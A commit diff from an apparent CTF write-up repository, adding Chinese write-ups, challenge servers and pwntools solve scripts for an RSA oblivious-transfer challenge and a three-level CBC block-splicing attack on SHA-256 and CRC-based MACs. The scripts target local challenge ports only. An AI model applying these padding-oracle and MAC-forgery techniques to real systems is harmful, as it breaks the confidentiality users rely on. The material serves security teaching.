add another 5 wp
This commit is contained in:
@@ -16,7 +16,7 @@
|
||||
| [猫咪问答++(未完成)](official/猫咪问答++/README.md) | [文件、源代码](official/猫咪问答++/src) |
|
||||
| [2048(未完成)](official/2048/README.md) | [文件、源代码](official/2048/src) |
|
||||
| [一闪而过的 Flag](official/一闪而过的%20Flag/README.md) | [文件、源代码](official/一闪而过的%20Flag/src) |
|
||||
| [从零开始的记账工具人(未完成)](official/从零开始的记账工具人/README.md) | [文件、源代码](official/从零开始的记账工具人/src) |
|
||||
| [从零开始的记账工具人](official/从零开始的记账工具人/README.md) | [文件、源代码](official/从零开始的记账工具人/src) |
|
||||
| [超简单的世界模拟器](official/超简单的世界模拟器/README.md) | [文件、源代码](official/超简单的世界模拟器/src) |
|
||||
| [从零开始的火星文生活](official/从零开始的火星文生活/README.md) | [文件、源代码](official/从零开始的火星文生活/src) |
|
||||
| [自复读的复读机](official/自复读的复读机/README.md) | [文件、源代码](official/自复读的复读机/src) |
|
||||
@@ -37,12 +37,12 @@
|
||||
| [超简易的网盘服务器](official/超简易的网盘服务器/README.md) | [文件、源代码](official/超简易的网盘服务器/src) |
|
||||
| [超安全的代理服务器](official/超安全的代理服务器/README.md) | [文件、源代码](official/超安全的代理服务器/src) |
|
||||
| [证验码(未完成)](official/证验码/README.md) | [文件、源代码](official/证验码/src) |
|
||||
| [动态链接库检查器(未完成)](official/动态链接库检查器/README.md) | [文件、源代码](official/动态链接库检查器/src) |
|
||||
| [超精准的宇宙射线模拟器(未完成)](official/超精准的宇宙射线模拟器/README.md) | [文件、源代码](official/超精准的宇宙射线模拟器/src) |
|
||||
| [动态链接库检查器](official/动态链接库检查器/README.md) | [文件、源代码](official/动态链接库检查器/src) |
|
||||
| [超精准的宇宙射线模拟器](official/超精准的宇宙射线模拟器/README.md) | [文件、源代码](official/超精准的宇宙射线模拟器/src) |
|
||||
| [超迷你的挖矿模拟器](official/超迷你的挖矿模拟器/README.md) | [文件、源代码](official/超迷你的挖矿模拟器/src) |
|
||||
| [Flag 计算机](official/Flag%20计算机/README.md) | [文件、源代码](official/Flag%20计算机/src) |
|
||||
| [中间人(未完成)](official/中间人/README.md) | [文件、源代码](official/中间人/src) |
|
||||
| [不经意传输(未完成)](official/不经意传输/README.md) | [文件、源代码](official/不经意传输/src) |
|
||||
| [中间人](official/中间人/README.md) | [文件、源代码](official/中间人/src) |
|
||||
| [不经意传输](official/不经意传输/README.md) | [文件、源代码](official/不经意传输/src) |
|
||||
|
||||
|
||||
### 来自选手
|
||||
|
||||
@@ -1 +1,74 @@
|
||||
# 不经意传输
|
||||
|
||||
## 花絮
|
||||
|
||||
我之前给 pwnhub 出过一道关于 oblivious transfer 的题目 [BabyOT](https://mp.weixin.qq.com/s/eAJWraah9OOgJfZOhm4Sqg)
|
||||
|
||||
0CTF/TCTF 2020 Finals 也有一道 [Oblivious](https://cr0wn.uk/2020/0ctf-oblivious/)
|
||||
|
||||
再加上这道题,三道题每道题的解法都完全不同。它们都是按照[维基百科上面的算法](https://en.wikipedia.org/wiki/Oblivious_transfer)实现的,但问题都在于,m0 和 m1 并不是均匀随机选择的。
|
||||
|
||||
我出这道题是因为某同学(就是 114514 那道题的出题人)跟我说,BabyOT 那道题其实 RSA 的 key 每次重新生成也可以做,不过要求字符集不能超过 16 个字符。他很快写好了字符集为连续 16 个字母的简单 demo。但是当我问他能不能把这 16 个字符设定成十六进制的 16 个字符时,我们都没想出来怎么搞。
|
||||
|
||||
我最开始以为穷举量太大,无法解出,后来发现其实把 RSA 的 bit 数变小就可以了,RSA 2048 变成 1024,解题需要的穷举量直接开根号。
|
||||
|
||||
## 第一问:解密消息
|
||||
|
||||
直接按照 oblivious transfer 的协议实现一下另一方就可以正常获取到两条消息中的一条了。
|
||||
|
||||
但是,这里有个坑,就是 m0 可能比 n 大。要么多试几次,要么把解出来的 m0 不断加上 n 尝试。
|
||||
|
||||
当然,你也可以直接去做第二问,这样第一问也包含在内了。
|
||||
|
||||
## 第二问:攻破算法
|
||||
|
||||
题目的缺陷在于,m0 和 m1 都是十六进制编码之后的字符串,每个字符都是在 0~9 a~f 这个特定的字符集内的,相比于随机的消息,非常不均匀。
|
||||
|
||||

|
||||
|
||||
以下的数学公式都是 mod n 意义下的。
|
||||
|
||||
仔细思考 1-2 oblivious transfer 的算法,我们可以发现解决这道题的重点:
|
||||
|
||||
精心构造 v,可以 k0 和 k1 成比例。如果我们让 `k0 = -scale * k1`,那么就有 `m0' + m1' * scale = (m0 + k0) + (m1 + k1) * scale = m0 + m1 * scale`。
|
||||
|
||||
如何让 `k0 = -scale * k1` 呢?我们知道 `k0 ^ e = v - x0` 和 `k1 ^ e = v - x1`,代进去把 v 解出来就行了:
|
||||
|
||||
`v = (x0 + scale ^ e * x1) / (1 + scale ^ e)`
|
||||
|
||||
只要我们发送这样计算得到的 v,然后拿到 m0' 和 m1' 时计算一下,就可以得到 `m0 + m1 * scale` 了。
|
||||
|
||||
首先我们考虑简单的情形,即,m0 和 m1 每个字符都是 0~15 的范围。
|
||||
|
||||
字符串编码成的大整数,可以看作是 256 进制的数,如果每一个字节都是 0~15,意味着高 4 个二进制位都是 0。如果我们取 `scale = 16`,那么 `m0 + m1 * scale` 就是把两个数交错拼起来,示意图如下:
|
||||
|
||||
```
|
||||
m0: 01 02 03 04
|
||||
m1: 0a 0b 0c 0d
|
||||
```
|
||||
|
||||
这样的话
|
||||
|
||||
```
|
||||
m0 : 01 02 03 04
|
||||
m1 * 16 : a0 b0 c0 d0
|
||||
m0 + m1 * 16: a1 b2 c3 d4
|
||||
```
|
||||
|
||||
你看,什么信息都没丢,你可以轻松从中还原出 m0 和 m1。
|
||||
|
||||
再考虑复杂一点的情形,m0 和 m1 的字符集都是连续 16 个字符,或者说,更弱的条件,字符集的每个字符 mod 16 正好是 0~15。
|
||||
|
||||
此时,虽然 m0 和 m1 交织在了一起,但是我们从 `m0 + m1 * scale` 的低字节开始,通过 mod 16 就可以找到 m0 的低字节,然后减掉 m0 的低字节,继续 mod 16 找到 m1 的低字节,这样继续下去,就可以还原 m0 和 m1。
|
||||
|
||||
这道题中的情况是,m0 和 m1 的字符集 mod 16 并不恰好是 0~15。这样的话,当我们遇到重复的值,我们无法判定它是多种情况中的哪一个。所以,我们需要一些穷举。
|
||||
|
||||
其实,scale 也可以不是 16。我通过统计无法分辨的情况出现的概率,找到了题目字符集下比较好的一个 scale:19。
|
||||
|
||||
然后,我们拿到 `m0 + m1 * scale` 后,就可以开始从低字节开始寻找可能的 m0 和 m1 的低字节了,解题脚本需要记住所有的可能情况,然后不断向高字节搜索。
|
||||
|
||||
然而,对于我这种用 Python 这样运行速度很慢的语言解题的人来说,穷举量通常会是 2^30 以上的量级,在题目连接的短时间内无法穷举完成。当然,你可以选择不断重试,反正总有机会遇到穷举几分钟之内就找到解的情况。
|
||||
|
||||
穷举需要的数量级是一个二项分布(可以看成正态分布)。我的做法是,不断重新连接服务器,每次先计算一下穷举量,蹲到一个穷举量小于 2^24 的情况,分分钟就可以穷举出来。实测重连一些次就可以蹲到一次穷举量足够小的。
|
||||
|
||||
[解题脚本](src/solve_ot.py)
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 236 KiB |
@@ -0,0 +1,4 @@
|
||||
FROM python:3.8
|
||||
RUN python3 -m pip install -U pycryptodome
|
||||
COPY OT.py /
|
||||
CMD ["/usr/local/bin/python3", "-u", "/OT.py"]
|
||||
@@ -0,0 +1,34 @@
|
||||
from Crypto.PublicKey import RSA
|
||||
from random import SystemRandom
|
||||
import os
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
random = SystemRandom()
|
||||
|
||||
key = RSA.generate(1024)
|
||||
print("n =", key.n)
|
||||
print("e =", key.e)
|
||||
|
||||
m0 = int.from_bytes(os.urandom(64).hex().encode(), "big")
|
||||
m1 = int.from_bytes(os.urandom(64).hex().encode(), "big")
|
||||
|
||||
x0 = random.randrange(key.n)
|
||||
x1 = random.randrange(key.n)
|
||||
print("x0 =", x0)
|
||||
print("x1 =", x1)
|
||||
|
||||
v = int(input("v = "))
|
||||
m0_ = (m0 + pow(v - x0, key.d, key.n)) % key.n
|
||||
m1_ = (m1 + pow(v - x1, key.d, key.n)) % key.n
|
||||
print("m0_ =", m0_)
|
||||
print("m1_ =", m1_)
|
||||
|
||||
guess0 = int(input("m0 = "))
|
||||
guess1 = int(input("m1 = "))
|
||||
if guess0 == m0:
|
||||
print(open("flag1").read())
|
||||
if guess1 == m1:
|
||||
print(open("flag2").read())
|
||||
else:
|
||||
print("Nope")
|
||||
@@ -0,0 +1,97 @@
|
||||
from pwn import *
|
||||
import time
|
||||
from tqdm import tqdm
|
||||
|
||||
threshold = 24
|
||||
|
||||
while True:
|
||||
re = remote('127.0.0.1', 10031)
|
||||
|
||||
re.recvuntil("token: ")
|
||||
re.sendline('这里填写你的 token')
|
||||
|
||||
re.recvuntil("n = ")
|
||||
n = int(re.recvline())
|
||||
re.recvuntil("e = ")
|
||||
e = int(re.recvline())
|
||||
re.recvuntil("x0 = ")
|
||||
x0 = int(re.recvline())
|
||||
re.recvuntil("x1 = ")
|
||||
x1 = int(re.recvline())
|
||||
|
||||
cs = "0123456789abcdef"
|
||||
bits = 1024
|
||||
scale = 19
|
||||
|
||||
table = [[] for _ in range(256)]
|
||||
for i in cs:
|
||||
for j in cs:
|
||||
v = ord(i) + scale * ord(j)
|
||||
table[v % 256].append((i, j, v // 256))
|
||||
|
||||
v = (x0 + pow(scale, e, n) * x1) * pow(1 + pow(scale, e, n), -1, n) % n
|
||||
|
||||
re.recvuntil("v = ")
|
||||
re.sendline(str(v))
|
||||
|
||||
re.recvuntil("m0_ = ")
|
||||
m0_ = int(re.recvline())
|
||||
re.recvuntil("m1_ = ")
|
||||
m1_ = int(re.recvline())
|
||||
|
||||
start_r = (m0_ + m1_ * scale) % n
|
||||
while True:
|
||||
cands = {start_r: ([], 1)}
|
||||
for b in range(bits // 8):
|
||||
ncands = {}
|
||||
for r, (m0, cnt) in cands.items():
|
||||
for i, j, carry in table[r % 256]:
|
||||
new_r = r // 256 - carry
|
||||
if new_r < 0:
|
||||
continue
|
||||
if new_r not in ncands:
|
||||
ncands[new_r] = [], 0
|
||||
l, old_cnt = ncands[new_r]
|
||||
l.append((i, m0))
|
||||
ncands[new_r] = l, old_cnt + cnt
|
||||
cands = ncands
|
||||
if not cands:
|
||||
break
|
||||
if cands:
|
||||
total = sum(cnt for _, (_, cnt) in cands.items())
|
||||
print(total, total.bit_length())
|
||||
break
|
||||
start_r += n
|
||||
if total < 2 ** threshold:
|
||||
break
|
||||
else:
|
||||
print("Too long")
|
||||
re.close()
|
||||
time.sleep(5)
|
||||
|
||||
def generate(l):
|
||||
for c, suffix in l:
|
||||
if suffix:
|
||||
for s in generate(suffix):
|
||||
yield c + s
|
||||
else:
|
||||
yield c
|
||||
|
||||
pbar = tqdm(total=total, position=0, leave=True)
|
||||
|
||||
target = (v - x0) % n
|
||||
|
||||
for _, (root, _) in cands.items():
|
||||
for m0 in generate(root):
|
||||
m0 = int.from_bytes(m0.encode(), 'big')
|
||||
if pow(m0_ - m0, e, n) == target:
|
||||
m1 = (start_r - m0) // scale
|
||||
m1t = m1.to_bytes(bits // 8, 'big')
|
||||
re.recvuntil("m0 = ")
|
||||
re.sendline(str(m0))
|
||||
re.recvuntil("m1 = ")
|
||||
re.sendline(str(m1))
|
||||
re.interactive()
|
||||
exit()
|
||||
pbar.update(1)
|
||||
pbar.close()
|
||||
@@ -1 +1,107 @@
|
||||
# 中间人
|
||||
|
||||
## 花絮
|
||||
|
||||
这道题创意的来源是,我之前出过一个 poodle attack 的题目,然后应该放 HMAC 的地方我直接放了一个 sha256,被某同学(就是 114514 那道题的出题人)非预期了。
|
||||
|
||||
(然而,这道题也被非预期了。)
|
||||
|
||||
如果你对 block cipher 的这类攻击不熟悉,建议先去了解一下 AES 的 CBC 模式,还有 padding oracle 和 poodle attack 的原理,然后再继续阅读,否则你可能看不懂我在讲什么。
|
||||
|
||||
后来,我思考了一个问题,如果 HMAC 的 Hash 算法选择了(明显不安全的)CRC,那么题目还能解出来吗?
|
||||
|
||||
经过很久的思考之后,我和那位同学发现,是可以解的!但是需要替换大量的 block,还要解线性方程组,比较麻烦。
|
||||
|
||||
然后我把这道题发给了另一位同学(就是数理模拟器的出题人),让他试试看,结果他发现只需要替换第一个 block 就行了,因为 IV 是可以随便改的。为了让大家不能这么方便解题,我又出了第三问,也就是限制了 IV 不能改变。
|
||||
|
||||
## 非预期解
|
||||
|
||||
我出题的时候万万没想到这道题会有时间侧信道的问题,长教训了。
|
||||
|
||||
后两问都可以用非预期的解法求解,原理就是发送大量数据的时候,CRC 的计算太慢了,于是可以通过测量时间来判断有没有计算 CRC。只有当 unpad 没有出错时,CRC 才会计算,所以这就是一个 padding oracle。
|
||||
|
||||
我没有把这个非预期的解法实现出来,所以蹲一个用这个方法的 write-up。
|
||||
|
||||
还是那句老话:不要自己实现密码学算法。
|
||||
|
||||
## 预期解法
|
||||
|
||||
我需要写 10 道题的 write-up,太多了,所以这里就不画图了,简略说一下解题思路。如果有不理解的欢迎讨论,发 Issue、提 PR、私聊找我都可以。
|
||||
|
||||
### 不安全的消息认证码
|
||||
|
||||
加密的消息的内容排布是这样的:
|
||||
|
||||
`IV text name text flag extra sha256 padding`
|
||||
|
||||
当 padding 和 sha256 都正确的时候,程序会输出 Thanks。
|
||||
|
||||
对于 CBC 模式,我们把中间的一部分切出来(去掉开头和结尾的一些 block),第一个 block 当 IV,那么解密出来的明文也会是原始明文的一部分。
|
||||
|
||||
我们可以控制 name 和 extra,首先我们可以通过不断让输入的长度增加,找到密文恰好变长一个 block 的时刻,就能推算出 flag 的长度。
|
||||
|
||||
然后我们控制 name 是特定的长度,让 flag 的最后一个字符在一个 block 的起始处,把 extra 设置成 flag 最后一个字符猜测值的 sha256,再补上我们自己的 padding,让排布变成这个样子:
|
||||
|
||||
`IV text name text fla|g our_sha256 our_padding | sha256 padding`
|
||||
|
||||
然后按照我划线的地方把密文切开,我们就可以得到明文中那一部分对应的密文。
|
||||
|
||||
这时候,我们把切出来的密文发给服务器验证,如果我们对 flag 最后一个字符的猜测是正确的,就会得到 Thanks。
|
||||
|
||||
接下来,我们对所有可能的字符进行穷举,就可以找到 flag 的最后一个字符是什么。
|
||||
|
||||
我们可以让 name 变长,flag 向右移动,这样就可以每次猜测 flag 的一个字符,直到获得整个 flag。
|
||||
|
||||
[第一问解题代码](src/mitm_exp1.py)
|
||||
|
||||
### 不安全的 CRC(1)
|
||||
|
||||
HMAC 的结构并不重要,我们只需要知道,CRC128 相同的时候 HMAC 一定相同就可以了。
|
||||
|
||||
设想我们把密文中的一个 block i 替换掉密文中另一处的一个 block j 会发生什么?
|
||||
|
||||
根据 CBC 模式的计算规则,j 和 j+1 处明文的改变相当于是异或了一些东西:
|
||||
|
||||
```
|
||||
C[i] = encrypt(C[i-1] ^ P[i])
|
||||
C[j] = encrypt(C[j-1] ^ P[j])
|
||||
C[j+1] = encrypt(C[j] ^ P[j+1])
|
||||
```
|
||||
|
||||
替换之后
|
||||
|
||||
```
|
||||
C[i] = encrypt(C[j-1] ^ P'[j])
|
||||
C[j+1] = encrypt(C[i] ^ P'[j+1])
|
||||
```
|
||||
|
||||
所以
|
||||
|
||||
```
|
||||
P'[j] = P[i] ^ C[i-1] ^ C[j-1]
|
||||
P'[j+1] = P[j+1] ^ C[i] ^ C[j]
|
||||
```
|
||||
|
||||
在知道原本的明文中 `P[i]` 和 `P[j]` 的情况下,我们可以计算出明文的改变(即异或了哪个字符串)。
|
||||
|
||||
CRC 是对原文所有 bit 的一个线性运算,也就是说,在明文中改变一些特定的 bit(异或一个特定的字符串),CRC 变化的 bit 也是确定的。
|
||||
|
||||
我们可以假定 flag 的最后一个字符,然后把包含它的密文 block 替换掉另一个已知明文的 block,这时明文变化引起的 CRC 改变是可以预测的,即使我们并不知道明文中的一部分(flag)。
|
||||
|
||||
我们通过改变 IV 来影响明文第一个 block,把刚才对 CRC 的影响抵消掉,此时原来的 HMAC-CRC128 会保持不变。
|
||||
|
||||
如果我们对 flag 中字符的假设是正确的,服务器就可以成功验证我们的密文。
|
||||
|
||||
然后跟第一问一样,我们一直重复这个过程直到获得整个 flag 即可。
|
||||
|
||||
[第二问解题代码](src/mitm_exp2.py)
|
||||
|
||||
如果 IV 被限制成固定的,此时我们用密文来替换 block 对 CRC 产生的改变是可以预测的,但我们并不能按我们想要的方式对明文产生特定的改变(就像改变 IV 那样)。
|
||||
|
||||
这时,我们可以发送比较长的明文,然后对 >=128 种替换密文 block 的位置分别计算其对 CRC 的影响。对于每一种替换的位置,我们可以选择替换与不替换,这样相当于选择对 CRC 的影响要还是不要。我们希望总的影响互相抵消,此时问题转化为求解一个 GF(2) 上的线性方程组。我们解出来线性方程组的一个解,就意味着我们如此组合每一个替换与不替换,能够让所有替换对 CRC 产生的影响互相抵消,CRC 保持不变。
|
||||
|
||||
此时,如果我们对 flag 中字符的假设是正确的,服务器就可以成功验证我们的密文。
|
||||
|
||||
然后重复这个过程即可得到完整的 flag。
|
||||
|
||||
[第三问解题代码](src/mitm_exp3.py) (需要使用 SageMath 运行)
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
FROM python:3.8
|
||||
RUN python3 -m pip install -U pycryptodome
|
||||
COPY entry.py MITM1.py MITM2.py MITM3.py utils.py /
|
||||
CMD ["/usr/local/bin/python3", "-u", "/entry.py"]
|
||||
@@ -0,0 +1,40 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from Crypto.Cipher import AES
|
||||
import os
|
||||
from hashlib import sha256
|
||||
from utils import *
|
||||
|
||||
|
||||
def talk_to_Alice():
|
||||
name = bytes.fromhex(input("What's your name? "))
|
||||
extra = bytes.fromhex(input("What else do you want to say? "))
|
||||
msg = b"Thanks " + name + b" for taking my flag: " + flag + extra
|
||||
plaintext = msg + sha256(msg).digest()
|
||||
iv = os.urandom(AES.block_size)
|
||||
aes = AES.new(AES_key, AES.MODE_CBC, iv)
|
||||
print("This is my encrypted message, please take it to Bob:")
|
||||
print((iv + aes.encrypt(pad(plaintext))).hex())
|
||||
|
||||
|
||||
def talk_to_Bob():
|
||||
try:
|
||||
ciphertext = bytes.fromhex(input("Show me your message from Alice: "))
|
||||
iv = ciphertext[: AES.block_size]
|
||||
aes = AES.new(AES_key, AES.MODE_CBC, iv)
|
||||
plaintext = unpad(aes.decrypt(ciphertext[AES.block_size :]))
|
||||
assert sha256(plaintext[:-32]).digest() == plaintext[-32:]
|
||||
print("Thanks")
|
||||
except:
|
||||
print("What's your problem???")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
flag = open("flag1").read().encode()
|
||||
AES_key = os.urandom(16)
|
||||
while True:
|
||||
choice = input("Whom do you want to talk to? ")
|
||||
if choice == "Alice":
|
||||
talk_to_Alice()
|
||||
elif choice == "Bob":
|
||||
talk_to_Bob()
|
||||
@@ -0,0 +1,40 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from Crypto.Cipher import AES
|
||||
import os
|
||||
from utils import *
|
||||
|
||||
|
||||
def talk_to_Alice():
|
||||
name = bytes.fromhex(input("What's your name? "))
|
||||
extra = bytes.fromhex(input("What else do you want to say? "))
|
||||
msg = b"Thanks " + name + b" for taking my flag: " + flag + extra
|
||||
plaintext = msg + hmac_crc128(MAC_key, msg)
|
||||
iv = os.urandom(AES.block_size)
|
||||
aes = AES.new(AES_key, AES.MODE_CBC, iv)
|
||||
print("This is my encrypted message, please take it to Bob:")
|
||||
print((iv + aes.encrypt(pad(plaintext))).hex())
|
||||
|
||||
|
||||
def talk_to_Bob():
|
||||
try:
|
||||
ciphertext = bytes.fromhex(input("Show me your message from Alice: "))
|
||||
iv = ciphertext[: AES.block_size]
|
||||
aes = AES.new(AES_key, AES.MODE_CBC, iv)
|
||||
plaintext = unpad(aes.decrypt(ciphertext[AES.block_size :]))
|
||||
assert hmac_crc128(MAC_key, plaintext[:-16]) == plaintext[-16:]
|
||||
print("Thanks")
|
||||
except:
|
||||
print("What's your problem???")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
flag = open("flag2").read().encode()
|
||||
AES_key = os.urandom(16)
|
||||
MAC_key = os.urandom(16)
|
||||
while True:
|
||||
choice = input("Whom do you want to talk to? ")
|
||||
if choice == "Alice":
|
||||
talk_to_Alice()
|
||||
elif choice == "Bob":
|
||||
talk_to_Bob()
|
||||
@@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from Crypto.Cipher import AES
|
||||
import os
|
||||
from utils import *
|
||||
|
||||
|
||||
def talk_to_Alice():
|
||||
global iv
|
||||
name = bytes.fromhex(input("What's your name? "))
|
||||
extra = bytes.fromhex(input("What else do you want to say? "))
|
||||
msg = b"Thanks " + name + b" for taking my flag: " + flag + extra
|
||||
plaintext = msg + hmac_crc128(MAC_key, msg)
|
||||
iv = os.urandom(AES.block_size)
|
||||
aes = AES.new(AES_key, AES.MODE_CBC, iv)
|
||||
print("This is my encrypted message, please take it to Bob:")
|
||||
print((iv + aes.encrypt(pad(plaintext))).hex())
|
||||
|
||||
|
||||
def talk_to_Bob():
|
||||
global iv
|
||||
try:
|
||||
ciphertext = bytes.fromhex(input("Show me your message from Alice: "))
|
||||
assert iv == ciphertext[: AES.block_size]
|
||||
aes = AES.new(AES_key, AES.MODE_CBC, iv)
|
||||
plaintext = unpad(aes.decrypt(ciphertext[AES.block_size :]))
|
||||
assert hmac_crc128(MAC_key, plaintext[:-16]) == plaintext[-16:]
|
||||
print("Thanks")
|
||||
except:
|
||||
print("What's your problem???")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
flag = open("flag3").read().encode()
|
||||
AES_key = os.urandom(16)
|
||||
MAC_key = os.urandom(16)
|
||||
iv = None
|
||||
while True:
|
||||
choice = input("Whom do you want to talk to? ")
|
||||
if choice == "Alice":
|
||||
talk_to_Alice()
|
||||
elif choice == "Bob":
|
||||
talk_to_Bob()
|
||||
@@ -0,0 +1,11 @@
|
||||
import os
|
||||
|
||||
level = int(input("Which level do you want to play (1/2/3)? "))
|
||||
if level == 1:
|
||||
os.system("python3 -u MITM1.py")
|
||||
elif level == 2:
|
||||
os.system("python3 -u MITM2.py")
|
||||
elif level == 3:
|
||||
os.system("python3 -u MITM3.py")
|
||||
else:
|
||||
print("Invalid input")
|
||||
@@ -0,0 +1,68 @@
|
||||
from pwn import *
|
||||
from hashlib import sha256
|
||||
|
||||
# context.log_level = 'debug'
|
||||
|
||||
r = remote('127.0.0.1', 10041)
|
||||
|
||||
r.recvuntil('token: ')
|
||||
r.sendline('这里填写你的 token')
|
||||
|
||||
r.recvuntil('? ')
|
||||
r.sendline('1')
|
||||
|
||||
def enc(name, extra):
|
||||
r.recvuntil('? ')
|
||||
r.sendline('Alice')
|
||||
r.recvuntil('? ')
|
||||
r.sendline(name.hex())
|
||||
r.recvuntil('? ')
|
||||
r.sendline(extra.hex())
|
||||
r.recvuntil(':\n')
|
||||
return bytes.fromhex(r.recvline().decode().strip())
|
||||
|
||||
def check(cipher):
|
||||
r.recvuntil('? ')
|
||||
r.sendline('Bob')
|
||||
r.recvuntil(': ')
|
||||
r.sendline(cipher.hex())
|
||||
reply = r.recvline()
|
||||
return b'Thanks' in reply
|
||||
|
||||
assert check(enc(b'abc', b'def'))
|
||||
|
||||
# 16 IV
|
||||
# 7 text
|
||||
# ? name
|
||||
# 21 text
|
||||
# flag
|
||||
# ? extra
|
||||
# 32 sha256
|
||||
# 16 padding
|
||||
|
||||
def pad(msg):
|
||||
n = 16 - len(msg) % 16
|
||||
return msg + bytes([n]) * n
|
||||
|
||||
l = len(enc(b'', b''))
|
||||
payload = b''
|
||||
while len(enc(b'', payload)) == l:
|
||||
payload += b'a'
|
||||
flaglen = l + 16 - 16 - 32 - 16 - 7 - 21 - len(payload)
|
||||
print(flaglen)
|
||||
|
||||
flag = b''
|
||||
for i in range(flaglen):
|
||||
namelen = 16 - (7 + 21 + flaglen - len(flag)) % 16 + 1
|
||||
prefixlen = 7 + namelen + 21 + flaglen - len(flag) - 1
|
||||
assert prefixlen % 16 == 0
|
||||
for c in range(256):
|
||||
payload = pad(bytes([c]) + flag + sha256(bytes([c]) + flag).digest())[len(flag)+1:]
|
||||
ct = enc(namelen * b'a', payload)
|
||||
if check(ct[prefixlen:-32-16]):
|
||||
flag = bytes([c]) + flag
|
||||
print(flag)
|
||||
break
|
||||
else:
|
||||
print('not found')
|
||||
exit(-1)
|
||||
@@ -0,0 +1,97 @@
|
||||
from pwn import *
|
||||
from hashlib import sha256
|
||||
|
||||
# context.log_level = 'debug'
|
||||
|
||||
r = remote('127.0.0.1', 10041)
|
||||
|
||||
r.recvuntil('token: ')
|
||||
r.sendline('这里填写你的 token')
|
||||
|
||||
r.recvuntil('? ')
|
||||
r.sendline('2')
|
||||
|
||||
def enc(name, extra):
|
||||
r.recvuntil('? ')
|
||||
r.sendline('Alice')
|
||||
r.recvuntil('? ')
|
||||
r.sendline(name.hex())
|
||||
r.recvuntil('? ')
|
||||
r.sendline(extra.hex())
|
||||
r.recvuntil(':\n')
|
||||
return bytes.fromhex(r.recvline().decode().strip())
|
||||
|
||||
def check(cipher):
|
||||
r.recvuntil('? ')
|
||||
r.sendline('Bob')
|
||||
r.recvuntil(': ')
|
||||
r.sendline(cipher.hex())
|
||||
reply = r.recvline()
|
||||
return b'Thanks' in reply
|
||||
|
||||
assert check(enc(b'abc', b'def'))
|
||||
|
||||
# 16 IV
|
||||
# 7 text
|
||||
# ? name
|
||||
# 21 text
|
||||
# flag
|
||||
# ? extra
|
||||
# 16 crc128
|
||||
# 16 padding
|
||||
|
||||
def pad(msg):
|
||||
n = 16 - len(msg) % 16
|
||||
return msg + bytes([n]) * n
|
||||
|
||||
def xor(b1, b2):
|
||||
return bytes([x ^ y for x, y in zip(b1, b2)])
|
||||
|
||||
def crc128(msg):
|
||||
crc = (1 << 128) - 1
|
||||
for b in msg:
|
||||
crc ^= b
|
||||
for _ in range(8):
|
||||
crc = (crc >> 1) ^ (0xB595CF9C8D708E2166D545CF7CFDD4F9 & -(crc & 1))
|
||||
return (crc ^ ((1 << 128) - 1)).to_bytes(16, "big")
|
||||
|
||||
def construct(offset, tail, target):
|
||||
length = (offset + tail) * 8 + 128
|
||||
crc = ((int.from_bytes(target, 'big') ^ ((1 << 128) - 1)) << length) ^ ((1 << 128) - 1)
|
||||
for _ in range(length):
|
||||
crc = (crc >> 1) ^ (0xB595CF9C8D708E2166D545CF7CFDD4F9 & -(crc & 1))
|
||||
length = tail * 8 + 128
|
||||
crc <<= length
|
||||
for i in range(length):
|
||||
if crc & (1 << (128 + length - i - 1)):
|
||||
crc ^= (0xB595CF9C8D708E2166D545CF7CFDD4F9 * 2 + 1) << (length - 1 - i)
|
||||
msg = crc.to_bytes(16, "little")
|
||||
return b'\x00' * offset + msg + b'\x00' * tail
|
||||
|
||||
l = len(enc(b'', b''))
|
||||
payload = b''
|
||||
while len(enc(b'', payload)) == l:
|
||||
payload += b'a'
|
||||
flaglen = l + 16 - 16 - 16 - 16 - 7 - 21 - len(payload)
|
||||
print(flaglen)
|
||||
|
||||
flag = b''
|
||||
for i in range(flaglen):
|
||||
namelen = 16 - (7 + 21 + flaglen - len(flag)) % 16 + 1 + 16
|
||||
prefixlen = 7 + namelen + 21 + flaglen - len(flag) - 1
|
||||
assert prefixlen % 16 == 0
|
||||
ct = enc(namelen * b'a', b'a' * 16)
|
||||
blk = ct[prefixlen + 16: prefixlen + 16 + 16]
|
||||
for c in range(256):
|
||||
blk_p = (bytes([c]) + flag + b'a' * 15)[:16]
|
||||
blk_iv = ct[prefixlen: prefixlen + 16]
|
||||
change = xor(xor(xor(b"Thanks aaaaaaaaa", blk_p), ct[:16]), blk_iv) + xor(blk, ct[16:32])
|
||||
new_iv = xor(ct[:16], construct(0, 16, crc128(change)))
|
||||
payload = new_iv + blk + ct[32:]
|
||||
if check(payload):
|
||||
flag = bytes([c]) + flag
|
||||
print(flag)
|
||||
break
|
||||
else:
|
||||
print('not found')
|
||||
exit(-1)
|
||||
@@ -0,0 +1,109 @@
|
||||
import os
|
||||
os.environ['PWNLIB_NOTERM'] = "true"
|
||||
from pwn import remote
|
||||
from sage.all import *
|
||||
|
||||
# context.log_level = 'debug'
|
||||
|
||||
r = remote('127.0.0.1', 10041)
|
||||
|
||||
r.recvuntil('token: ')
|
||||
r.sendline('这里填写你的 token')
|
||||
|
||||
r.recvuntil('? ')
|
||||
r.sendline('3')
|
||||
|
||||
def enc(name, extra):
|
||||
r.recvuntil('? ')
|
||||
r.sendline('Alice')
|
||||
r.recvuntil('? ')
|
||||
r.sendline(name.hex())
|
||||
r.recvuntil('? ')
|
||||
r.sendline(extra.hex())
|
||||
r.recvuntil(':\n')
|
||||
return bytes.fromhex(r.recvline().decode().strip())
|
||||
|
||||
def check(cipher):
|
||||
r.recvuntil('? ')
|
||||
r.sendline('Bob')
|
||||
r.recvuntil(': ')
|
||||
r.sendline(cipher.hex())
|
||||
reply = r.recvline()
|
||||
return b'Thanks' in reply
|
||||
|
||||
assert check(enc(b'abc', b'def'))
|
||||
|
||||
# 16 IV
|
||||
# 7 text
|
||||
# ? name
|
||||
# 21 text
|
||||
# flag
|
||||
# ? extra
|
||||
# 16 crc128
|
||||
# 16 padding
|
||||
|
||||
def xor(b1, b2):
|
||||
return bytes([x ^ y for x, y in zip(b1, b2)])
|
||||
|
||||
def crc128(msg):
|
||||
crc = (1 << 128) - 1
|
||||
for b in msg:
|
||||
crc ^= b
|
||||
for _ in range(8):
|
||||
